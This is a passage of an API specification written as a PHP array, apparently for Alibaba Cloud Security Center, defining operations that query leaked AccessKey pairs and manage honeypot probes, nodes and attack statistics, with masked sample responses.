'type' => 'string', 'example' => 'master', ], 'AccesskeyId' => [ 'description' => 'The ID of the AccessKey pair that is leaked.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'AliUserName' => [ 'description' => 'The name of the Alibaba Cloud account that is affected.'."\n", 'type' => 'string', 'example' => 'testAccountName', ], 'DealType' => [ 'description' => 'The method to handle the AccessKey pair leak. Valid values:'."\n" ."\n" .'* **pending**: The AccessKey pair leak is unhandled.'."\n" .'* **manual**: The AccessKey pair leak is manually handled.'."\n" .'* **disable**: The AccessKey pair leak is disabled.'."\n" .'* **add-whitelist**: The AccessKey pair leak is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'pending', ], 'Url' => [ 'description' => 'The URL of the platform on which the AccessKey pair leak is detected.'."\n", 'type' => 'string', 'example' => 'https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001', ], 'GmtModified' => [ 'description' => 'The time when the AccessKey pair leak is first detected. The value of this parameter is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1612357897000', ], 'Asset' => [ 'description' => 'The platform to which the asset belongs. The value is fixed as **Cloud platform**.'."\n", 'type' => 'string', 'example' => 'Cloud platform'."\n", ], 'Id' => [ 'description' => 'The primary key ID of the database.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '389357', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-9247702852BE\\",\\n \\"GmtLast\\": 1612357897000,\\n \\"AkLeakCount\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"AccessKeyLeakList\\": [\\n {\\n \\"DealTime\\": \\"2020-12-03 21:23:38\\",\\n \\"Status\\": \\"pending\\",\\n \\"Type\\": \\"AccessKey\\",\\n \\"UserType\\": \\"master\\",\\n \\"AccesskeyId\\": \\"yourAccessKeyID\\",\\n \\"AliUserName\\": \\"testAccountName\\",\\n \\"DealType\\": \\"pending\\",\\n \\"Url\\": \\"https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001\\",\\n \\"GmtModified\\": 1612357897000,\\n \\"Asset\\": \\"云平台\\",\\n \\"Id\\": 389357\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n \\n pending\\n y****@test.aliyunid.com\\n AccessKey\\n pending\\n LTAI4Fytv7ALKzkNVBV6****\\n 1612357897000\\n 云平台\\n 389357\\n 2021-03-03 15:58:34\\n master\\n https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001\\n \\n \\n dealed\\n y****@test.aliyunid.com\\n AccessKey\\n manual\\n LTAI4Fytv7ALKzkNVBV6****\\n 1612357467000\\n 云平台\\n 389351\\n 2021-02-08 14:43:43\\n master\\n https://github.com/daijope/testak/blob/1fac284b5b003d3445ea9dcf1d50a9c0e367****/test.java\\n \\n 2\\n B37C9052-A73E-4707-A024-9247702852BE\\n 20\\n 1\\n","errorExample":""}]', 'title' => 'DescribeAccesskeyLeakList', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAccessKeyLeakDetail' => [ 'summary' => 'Queries the details of AccessKey pair leaks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91978', 'abilityTreeNodes' => [ 'FEATUREsasVQUB1H', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the AccessKey pair leak event.'."\n" ."\n" .'> You can call the [DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~) operation to obtain the event ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '389357', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the leak. The value is fixed as **AccessKey**.'."\n", 'type' => 'string', 'example' => 'AccessKey', ], 'GithubUserPicUrl' => [ 'description' => 'The URL of the profile picture for the GitHub user.'."\n", 'type' => 'string', 'example' => 'https://avatars.githubusercontent.com/u/26296896?s=48&v=****', ], 'GithubUser' => [ 'description' => 'The username of the GitHub user.'."\n", 'type' => 'string', 'example' => 'Blue00Blue', ], 'GithubRepoName' => [ 'description' => 'The name of the GitHub repository.'."\n", 'type' => 'string', 'example' => 'ExamOnline', ], 'GithubFileType' => [ 'description' => 'The type of the GitHub file. Valid values:'."\n" ."\n" .'* Python'."\n" .'* XML'."\n" .'* GO'."\n" .'* Javascript'."\n" .'* INI'."\n" .'* JSON'."\n" .'* C++'."\n", 'type' => 'string', 'example' => 'Python', ], 'Remark' => [ 'description' => 'The remarks of the AccessKey pair leak.'."\n", 'type' => 'string', 'example' => '12', ], 'GithubFileUpdateTime' => [ 'description' => 'The time when the GitHub file was updated.'."\n", 'type' => 'string', 'example' => '2021-07-06T09:49:33', ], 'WhitelistStatus' => [ 'description' => 'Indicates whether the AccessKey pair leak is added to the whitelist. Valid values:'."\n" ."\n" .'* **no**: no'."\n" .'* **yes**: yes'."\n", 'type' => 'string', 'example' => 'no', ], 'GithubFileName' => [ 'description' => 'The name of the GitHub file.'."\n", 'type' => 'string', 'example' => 'testAkLeak', ], 'Source' => [ 'description' => 'The platform on which the AccessKey pair leak is detected.'."\n", 'type' => 'string', 'example' => 'GitHub', ], 'GmtModified' => [ 'description' => 'The last time when the AccessKey pair leak was detected.'."\n", 'type' => 'string', 'example' => '2021-07-06 17:49:39', ], 'Asset' => [ 'description' => 'The platform to which the asset belongs. The value is fixed as **Cloud platform**.'."\n", 'type' => 'string', 'example' => 'Cloud platform', ], 'DealTime' => [ 'description' => 'The time when the AccessKey pair leak was handled.'."\n", 'type' => 'string', 'example' => '2022-01-17 15:47:08', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'AccesskeyId' => [ 'description' => 'The ID of the AccessKey pair that is leaked.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'GithubFileUrl' => [ 'description' => 'The URL of the GitHub file.'."\n", 'type' => 'string', 'example' => 'https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****', ], 'DealType' => [ 'description' => 'The solution to the AccessKey pair leak. Valid values:'."\n" ."\n" .'* **manual**: manually deleted'."\n" .'* **disable**: manually disabled'."\n" .'* **add-whitelist**: added to the whitelist'."\n" .'* **pending**: unhandled'."\n", 'type' => 'string', 'example' => 'add-whitelist', ], 'Code' => [ 'description' => 'The code snippet that is leaked.'."\n", 'type' => 'string', 'example' => '\\n1231 \\nak=yourAccessKeyID \\n12311123 \\nsk1999 \\nsk1999sk1999 \\nsk1999sk1999 \\n\\n\\ntest001 ak hht \\nak=yourAccessKeyID \\nsk=yourAccessKeySecret', ], 'GmtCreate' => [ 'description' => 'The first time when the AccessKey pair leak was detected.'."\n", 'type' => 'string', 'example' => '2021-07-06 17:49:41', ], 'GithubRepoUrl' => [ 'description' => 'The URL of the GitHub repository.'."\n", 'type' => 'string', 'example' => 'https://github.com/Blue00Blue/ExamOn****', ], 'TokenValid' => [ 'description' => 'The validity of the key that is associated with the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: to be confirmed.'."\n" .'* **1**: valid.'."\n" .'* **2**: invalid.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'WhitelistTime' => [ 'description' => 'The time when the AccessKey pair was added to the whitelist. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1689172004478', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Type\\": \\"AccessKey\\",\\n \\"GithubUserPicUrl\\": \\"https://avatars.githubusercontent.com/u/26296896?s=48&v=****\\",\\n \\"GithubUser\\": \\"Blue00Blue\\",\\n \\"GithubRepoName\\": \\"ExamOnline\\",\\n \\"GithubFileType\\": \\"Python\\",\\n \\"Remark\\": \\"12\\",\\n \\"GithubFileUpdateTime\\": \\"2021-07-06T09:49:33\\",\\n \\"WhitelistStatus\\": \\"no\\",\\n \\"GithubFileName\\": \\"testAkLeak\\",\\n \\"Source\\": \\"GitHub\\",\\n \\"GmtModified\\": \\"2021-07-06 17:49:39\\",\\n \\"Asset\\": \\"云平台\\",\\n \\"DealTime\\": \\"2022-01-17 15:47:08\\",\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"AccesskeyId\\": \\"yourAccessKeyID\\",\\n \\"GithubFileUrl\\": \\"https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****\\",\\n \\"DealType\\": \\"add-whitelist\\",\\n \\"Code\\": \\"\\\\\\\\n1231 \\\\\\\\nak=yourAccessKeyID \\\\\\\\n12311123 \\\\\\\\nsk1999 \\\\\\\\nsk1999sk1999 \\\\\\\\nsk1999sk1999 \\\\\\\\n\\\\\\\\n\\\\\\\\ntest001 ak hht \\\\\\\\nak=yourAccessKeyID \\\\\\\\nsk=yourAccessKeySecret\\",\\n \\"GmtCreate\\": \\"2021-07-06 17:49:41\\",\\n \\"GithubRepoUrl\\": \\"https://github.com/Blue00Blue/ExamOn****\\",\\n \\"TokenValid\\": 2,\\n \\"WhitelistTime\\": 1689172004478\\n}","errorExample":""},{"type":"xml","example":"\\n AccessKey\\n https://avatars.githubusercontent.com/u/26296896?s=48&v=****\\n Blue00Blue\\n ExamOnline\\n Python\\n 12\\n 2021-07-06T09:49:33\\n no\\n testAkLeak\\n GitHub\\n 2021-07-06 17:49:39\\n 云平台\\n 2022-01-17 15:47:08\\n 79CFF74D-E967-5407-8A78-EE03B925FDAA\\n LTAI4G4VjkC9wenfEvgX****\\n https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****\\n add-whitelist\\n \\\\n1231 \\\\nak=LTAI4G4VjkC9wenfEvgX**** \\\\n12311123 \\\\nsk1999 \\\\nsk1999sk1999 \\\\nsk1999sk1999 \\\\n\\\\n\\\\ntest001 ak hht \\\\nak=LTAI4G4VjkC9wenfEvgX**** \\\\nsk=AjEhS9XmnIzllpAx2LxMTMdrTG****\\n 2021-07-06 17:49:41\\n https://github.com/Blue00Blue/ExamOn****\\n","errorExample":""}]', 'title' => 'DescribeAccessKeyLeakDetail', ], 'DeleteHoneypotProbeBind' => [ 'summary' => 'Delete the probe service.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The probe ID.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aa234650-cfcf-4e25-b61f-c58f603f****', ], ], [ 'name' => 'BindId', 'in' => 'query', 'schema' => [ 'title' => '服务绑定id', 'description' => 'The unique ID of the bound service.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aa20815f-f0f3-4e3b-8e13-55771742****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteHoneypotProbeBind', ], 'GetHoneypotAttackStatistics' => [ 'summary' => '获取蜜罐攻击事件的统计数据。', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '158253', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'title' => 'source ip', 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'required' => true, 'example' => '47.92.139.**', ], ], [ 'name' => 'StatisticsType', 'in' => 'query', 'schema' => [ 'title' => 'statistics type', 'description' => 'The type of the attack source statistics. Valid values:'."\n" ."\n" .'* **TOP_ATTACKED_AGENT**: the top 5 probes that are attacked the most frequently'."\n" .'* **TOP_ATTACKED_IP**: the top 5 IP addresses that are attacked the most frequently'."\n" .'* **ATTACK_EVENT_TYPE**: the type of the intrusion event'."\n" .'* **ATTACK_HONEYPOT_TYPE**: the type of the attacked honeypot'."\n", 'type' => 'string', 'required' => true, 'example' => 'TOP_ATTACKED_IP', ], ], [ 'name' => 'StartTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'start time', 'description' => 'The start time. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1681624877761', ], ], [ 'name' => 'EndTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'end time', 'description' => 'The end time. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1675058931215', ], ], [ 'name' => 'RiskLevelList', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'title' => 'risk level', 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'required' => false, 'example' => '2', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page. We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The statistics.'."\n", 'type' => 'object', 'properties' => [ 'StatisticsType' => [ 'title' => 'statistics type', 'description' => 'The type of the attack source statistics. Valid values:'."\n" ."\n" .'* **TOP_ATTACKED_AGENT**: the top five probes that are attacked the most frequently.'."\n" .'* **TOP_ATTACKED_IP**: the top five IP addresses that are attacked the most frequently.'."\n" .'* **ATTACK_EVENT_TYPE**: the type of the intrusion event.'."\n" .'* **ATTACK_HONEYPOT_TYPE**: the type of the attacked honeypot.'."\n", 'type' => 'string', 'example' => 'TOP_ATTACKED_IP', ], 'Count' => [ 'title' => 'statistics item count', 'description' => 'The number of entries on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'HoneypotAttackStatistics' => [ 'title' => 'statistics list', 'description' => 'The statistics details.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'StatisticsValue' => [ 'description' => 'The statistical value.'."\n", 'type' => 'string', 'example' => '112.168.1.**', ], 'StatisticsCount' => [ 'description' => 'The number of times the value is counted.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3FACC60A-3FE4-5F49-9184-50730C8B****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StatisticsType\\": \\"TOP_ATTACKED_IP\\",\\n \\"Count\\": 2,\\n \\"HoneypotAttackStatistics\\": [\\n {\\n \\"StatisticsValue\\": \\"112.168.1.**\\",\\n \\"StatisticsCount\\": 10\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"3FACC60A-3FE4-5F49-9184-50730C8B****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneypotAttackStatistics', ], 'GetHoneypotStatistics' => [ 'summary' => 'Get statistics on honey pot usage.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The honeypot usage statistics.'."\n", 'type' => 'object', 'properties' => [ 'TotalProbeCount' => [ 'title' => '总探针数量', 'description' => 'The total number of authorized probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '40', ], 'UsedProbeCount' => [ 'title' => '已使用探针数量', 'description' => 'The number of deployed probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'UsedHostProbeCount' => [ 'title' => '已部署主机探针数量', 'description' => 'The number of deployed host probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'UsedVpcProbeCount' => [ 'title' => '已部署VPC探针数量', 'description' => 'The number of deployed VPC probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'TotalHoneypotCount' => [ 'title' => '总蜜罐数量', 'description' => 'The total number of honeypots.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'UsedHoneypotCount' => [ 'title' => '已部署蜜罐数量', 'description' => 'The number of deployed honeypots.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'TotalNodeStatus' => [ 'description' => 'The health status of the management node. Valid values:'."\n" ."\n" .'* 1: normal'."\n" .'* 2: abnormal'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'EB7181CB-32F3-5189-A935-4E24DD1A****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TotalProbeCount\\": 40,\\n \\"UsedProbeCount\\": 15,\\n \\"UsedHostProbeCount\\": 9,\\n \\"UsedVpcProbeCount\\": 6,\\n \\"TotalHoneypotCount\\": 20,\\n \\"UsedHoneypotCount\\": 7,\\n \\"TotalNodeStatus\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"EB7181CB-32F3-5189-A935-4E24DD1A****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneypotStatistics', 'translator' => 'machine', ], 'ListAvailableHoneypot' => [ 'summary' => 'Queries the information about available honeypot templates.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一ID', 'description' => 'The ID of the management node to which the honeypot is deployed.'."\n", 'type' => 'string', 'required' => false, 'example' => '4341018b-8e01-43f6-b1d2-af29a2a4****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'An array consisting of the information about the images that are used for the honeypot.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the image that is used for the honeypot.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像展示名称', 'description' => 'The display name of the image.'."\n", 'type' => 'string', 'example' => 'RuoYi', ], 'HoneypotImageId' => [ 'title' => '蜜罐镜像ID', 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'sha256:007095d6de9c7a343e9fc1f74a7efc9c5de9d5454789d2fa505a1b3fc62****', ], 'HoneypotImageVersion' => [ 'title' => '蜜罐镜像版本', 'description' => 'The version of the image.'."\n", 'type' => 'string', 'example' => '1.0.2', ], 'HoneypotImageType' => [ 'title' => '蜜罐镜像类型', 'description' => 'The type of the image.'."\n", 'type' => 'string', 'example' => 'Web', ], 'Proto' => [ 'title' => '蜜罐支持的协议', 'description' => 'The protocol that is supported by the honeypot.'."\n", 'type' => 'string', 'example' => 'tcp', ], 'ServicePort' => [ 'title' => '蜜罐服务端口', 'description' => 'The service port of the honeypot.'."\n", 'type' => 'string', 'example' => '27017.0', ], 'Multiports' => [ 'title' => '蜜罐支持的端口', 'description' => 'The port that is supported by the honeypot. The value is in the JSON format. Valid values:'."\n" ."\n" .'* **log_type**: the log type'."\n" .'* **proto**: the supported protocol'."\n" .'* **description**: the description'."\n" .'* **ports**: the supported ports'."\n" .'* **port_str**: the supported port number of the string type'."\n" .'* **type**: the type'."\n", 'type' => 'string', 'example' => '[{"log_type":"web","proto":"tcp","description":"webServerPort","ports":[80.0],"port_str":"80","type":"web"}]', ], 'Template' => [ 'title' => '蜜罐配置参数模板', 'description' => 'The configuration template of the honeypot.'."\n", 'type' => 'string', 'example' => '{}', ], ], ], ], 'Count' => [ 'description' => 'The number of images that are used for the honeypot.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6C24D883-984D-52FD-BB66-5F89F86E4837', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"HoneypotImageId\\": \\"sha256:007095d6de9c7a343e9fc1f74a7efc9c5de9d5454789d2fa505a1b3fc62****\\",\\n \\"HoneypotImageVersion\\": \\"1.0.2\\",\\n \\"HoneypotImageType\\": \\"Web\\",\\n \\"Proto\\": \\"tcp\\",\\n \\"ServicePort\\": \\"27017.0\\",\\n \\"Multiports\\": \\"[{\\\\\\"log_type\\\\\\":\\\\\\"web\\\\\\",\\\\\\"proto\\\\\\":\\\\\\"tcp\\\\\\",\\\\\\"description\\\\\\":\\\\\\"webServerPort\\\\\\",\\\\\\"ports\\\\\\":[80.0],\\\\\\"port_str\\\\\\":\\\\\\"80\\\\\\",\\\\\\"type\\\\\\":\\\\\\"web\\\\\\"}]\\",\\n \\"Template\\": \\"{}\\"\\n }\\n ],\\n \\"Count\\": 22,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"6C24D883-984D-52FD-BB66-5F89F86E4837\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListAvailableHoneypot', ], 'CreateHoneypotNode' => [ 'summary' => 'Creates a management node.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'NodeName', 'in' => 'query', 'schema' => [ 'title' => '管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'required' => true, 'example' => 'manageNode', ], ], [ 'name' => 'AvailableProbeNum', 'in' => 'query', 'schema' => [ 'title' => '可用探针数量', 'description' => 'The number of available probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'AllowHoneypotAccessInternet', 'in' => 'query', 'schema' => [ 'title' => '是否允许蜜罐访问外网', 'description' => 'Specifies whether to allow 